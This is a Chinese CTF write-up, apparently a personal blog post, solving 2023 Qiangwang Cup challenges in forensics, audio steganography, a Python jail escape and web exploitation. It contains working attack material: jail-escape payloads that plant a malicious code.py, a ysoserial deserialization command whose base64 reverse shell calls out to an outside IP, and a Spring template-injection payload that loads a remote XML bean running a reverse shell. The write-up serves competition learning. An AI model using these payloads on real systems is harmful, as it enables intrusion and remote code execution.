CTF - 2023 强网杯-S7 Write Up

前言

​ 现在是刚培训下班,前几天一结束强网杯就飞江苏培训去了,emm这几天都在加班加点赶题赶课件(听说客户是国电的红队,说要求进阶培训,结果来到一看—–一言难尽),学员基础真的有点差,所以从0基础教真的好累,还没开始培训的时候客户要求要特别的难特别的进阶,结果来到现场了大家连Burp是啥都不清楚,代码也是0基础,基本上所有东西都要打头重新做过了,害 ,好累,抽空去把强网复盘一下吧,结果写到一半,又要上课了,现在下班回到酒店才慢慢的写一下这几天的事情吧

Misc

谍影重重2.0

先把流量的payload提取出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import binascii
from scapy.all import rdpcap

def extract_tcp_payload_hex(pcap_file_path, output_file_path):
"""
Extracts the hex representation of TCP payloads from a pcap file.

Parameters:
pcap_file_path (str): The path to the pcap file.
output_file_path (str): The path to the output file where hex data will be written.
"""
try:
# Read packets from pcap file
packets = rdpcap(pcap_file_path)

# Open the output file
with open(output_file_path, 'w') as file:
# Process each packet
for packet in packets:
# Process only TCP packets
if 'TCP' in packet:
# Get hex representation of the TCP payload
tcp_payload_hex = binascii.hexlify(bytes(packet['TCP'].payload)).decode('utf-8')
# Write the hex data to the file
file.write(tcp_payload_hex + '\n')

except Exception as e:
print(f"Error occurred: {e}")


# File paths
pcap_file = 'attach.pcapng'
output_hex_file = 'tcp_payloads_hex.txt'

# Call the function with the specified file paths
extract_tcp_payload_hex(pcap_file, output_hex_file)

然后按照官方文档来进行调试

https://gitee.com/wangmin-gf/ads-b

1
2
import pyModeS as pms
pms.tell("8D4840D6202CC371C32CE0576098")

处理一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import pyModeS as pms

# 文件路径
hex_file_path = 'tcp_payloads_hex.txt'

# 读取文件并处理每一行
try:
with open(hex_file_path, 'r') as file:
for line in file:
line = line.strip() # 移除行末的换行符
if line: # 检查是否为空行
# 使用pyModeS处理每一行的数据
result = pms.tell(line)
print(f"Result for {line}: {result}")

except Exception as e:
print(f"Error occurred while processing the file: {e}")

得到结果进行处理

image

ICAO address: 79a05e​ 换成大写79A05E​然后md5即可得到flag

image

Pyjail ! It’s myRevenge

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import code, os, subprocess
import pty
def blacklist_fun_callback(*args):
print("Player! It's already banned!")

pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback

vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback

del os, subprocess, code, pty, blacklist_fun_callback
input_code = input("Can u input your code to escape > ")

blacklist_words_var_name_fake_in_local_real_in_remote = [
"subprocess",
"os",
"code",
"interact",
"pty",
"pdb",
"platform",
"importlib",
"timeit",
"imp",
"commands",
"popen",
"load_module",
"spawn",
"system",
"/bin/sh",
"/bin/bash",
"flag",
"eval",
"exec",
"compile",
"input",
"vars",
"attr",
"dir",
"getattr"
"__import__",
"__builtins__",
"__getattribute__",
"__class__",
"__base__",
"__subclasses__",
"__getitem__",
"__self__",
"__globals__",
"__init__",
"__name__",
"__dict__",
"._module",
"builtins",
"breakpoint",
"import",
]

def my_filter(input_code):
for x in blacklist_words_var_name_fake_in_local_real_in_remote:
if x in input_code:
return False
return True

while '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65:
input_code = eval(f"f'{input_code}'")
else:
print("Player! Please obey the filter rules which I set!")

发现了他import code,由于import的机制会优先导入当前目录的code.py

所以我们只要写入文件到code.py,连接是自动执行我们要执行的恶意程序即可

但是code被过滤了,所以用\x63绕过c即可

payload:

1
2
3
4
5
6
"{1}'+open('1','w').write('im')+'"
"{1}'+open('1','a').write('port o')+'"
"{1}'+open('1','a').write('s;print(o')+'"
"{1}'+open('1','a').write('s.pope')+'"
"{1}'+open('1','a').write('n(\'cat fl*>2\').read())')+'"
"{1}'+open('\x63ode.py','w').write(open('1').read())+'"

最后连接时执行了cat fl*>2

所以我们读取文件2就可以得到flag

image

Wabby Wabbo Radio

Web访问,f12看到音频,提出来,这里有好多 多刷几次

1702791995501

随便看一个发现有摩斯

1702792029667

解完有两个提示一个QAM一个PNG

搜文章:https://www.jmwww.net/SQL/14678.html 尝试替换,这里根据png的提示,把01这些转成二进制对应图片的文件头,试了很久发现可以打,不知道是不是非预期。

丢进010分析文件,把前面无用的头全部删去,保留用于替换的字节,叫gpt搓个脚本即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def read_audio_file(file_path):
with open(file_path, "rb") as audio_file:
audio_data = audio_file.read()
return audio_data
def convert_audio_to_binary(audio_data):
binary_result = ''
for i in range(0, len(audio_data), 4):
byte = audio_data[i]
if byte == 192:
binary_result += "00"
elif byte == 191:
binary_result += "01"
elif byte == 63:
binary_result += "10"
else:
binary_result += "11"
return binary_result
def write_binary_to_image(file_path, binary_data):
byte_data = bytearray()
for i in range(0, len(binary_data), 8):
byte = binary_data[i:i+8]
byte_data.append(int(byte, 2))
with open(file_path, "wb") as image_file:
image_file.write(byte_data)
audio_file_path = "flag.wav"
image_file_path = "flag.png"
audio_data = read_audio_file(audio_file_path)
binary_data = convert_audio_to_binary(audio_data)
write_binary_to_image(image_file_path, binary_data)

1702793941318

找到PNG了吗

用vol找了半天发现一头雾水,于是队友直接用软件梭哈出了一些文本,于是用010打开mem发现了里面明文存储的信息

image感觉key关键词有问题,于是根据那个key关键词直接搜

2791c4d1e298819fbe4bf7cf33aa143f_直接搜出来一c代码

8b6528900add1f3a512598ea96ddea4c_发现是rc4,key是do_not_care

image丢给gpt简单看了看流程

a81ee84bc7570e8b3a97be3b7e4f185b_

去010里面找了这串加密后的,也是成功找到

3d556e693a3a174e8e130b1e8e924824_复制下来直接同样流程解密

image另存为png得到flag

HEX

Web

happygame

nc连上去没交互,grpc(清风神打过HTB直接想到)直接连

安装工具

1
go install github.com/fullstorydev/grpcui/cmd/grpcui@latest

这个工具会被安装在~/go/bin目录下

image

image然后发现不需要认证可以打反序列化,直接打CC链子试试,把每个链子都打了一遍就反弹shell回来拿到flag了

注意下图中需要手动填写序列化字节

1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMzEuMTY2LjE2MS8yODg4OSAwPiYx}|{base64,-d}|{bash,-i}" >ser.bin

image

然后发送即可

image

hello spring

参考 https://zhuanlan.zhihu.com/p/551576769

image

跟去年强网的好像差不多,但比去年稍微简单点的是直接给了上传路由,那其实可以想到上传模版去解析造成注入rce

用了原文的一个payload

1
2
3
4
5
{% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %}
{% set yy = beans.get("jacksonObjectMapper").readValue("{}", y) %}
{% set yyy = yy.instantiate(null,"org.springframework.context.support.ClassPathXmlApplicationContext") %}
{{ yyy.setConfigLocation("http://xxxx/1.xml") }}
{{ yyy.refresh() }}

他的文件名也可以通过python代码或者他的返回包给的时间中进行推算

image

再访问/?x=file_20231219_034752加载模板即可,但实际上是不可以成功反弹的,因为他的filter当中是存在代码的,但是反编译出来的源码并没有写(真没必要吧出题人)

赛后看了一下一个师傅的公众号他写了一下过滤的内容为

1
2
org.springframework.context.support.ClassPathXmlApplicationContext
org.springframework.context.support.FileSystemXmlApplicationContext

尝试使用字符串拼接吧关键字隔离开进行绕过

1
2
3
4
5
{% set y= beans.get("org.springframework.boot.autoconfigure.internalC"+"achingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %}
{% set yy = beans.get("jacksonObjectMapper").readValue("{}", y) %}
{% set yyy = yy.instantiate(null,"org.springframework.context.support.Cla"+"ssPathXmlApplicationContext") %}
{{ yyy.setConfigLocation("http://xxxx/1.xml") }}
{{ yyy.refresh() }}

然后在自己服务器上放个rce.xml即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value>{echo,YmFzaCxxxxxxxx}|{base64,-d}|{bash,-i}</value>
</list>
</constructor-arg>
</bean>
</beans>

小结

​ 不知不觉写到12点了,今天其实还接到昆仑的电话了,让我直接一月份入职,开的薪资只能说是中规中矩吧,应该是够活下来,感觉自己难以去面对去实习的事实了,害,好难啊,挣钱真的好难,真的安全尽头真的是噶韭菜啊啊啊啊,不过感觉其实也是自己对安全还是有着热爱与兴趣的,希望能支持自己走的长久一点吧,强网其实自己做出来的题也不多,大部分有交流的情况下出的,还是稍微困难,还是得继续加油吧!洗洗睡了,明儿还得对着80个学生讲基础捏


CTF - 2023 强网杯-S7 Write Up
https://zjackky.github.io/post/ctf-2023-fortune-net-cup-s7-writ-up-z1kyu7f.html
作者
Zjacky
发布于
2023年12月20日
许可协议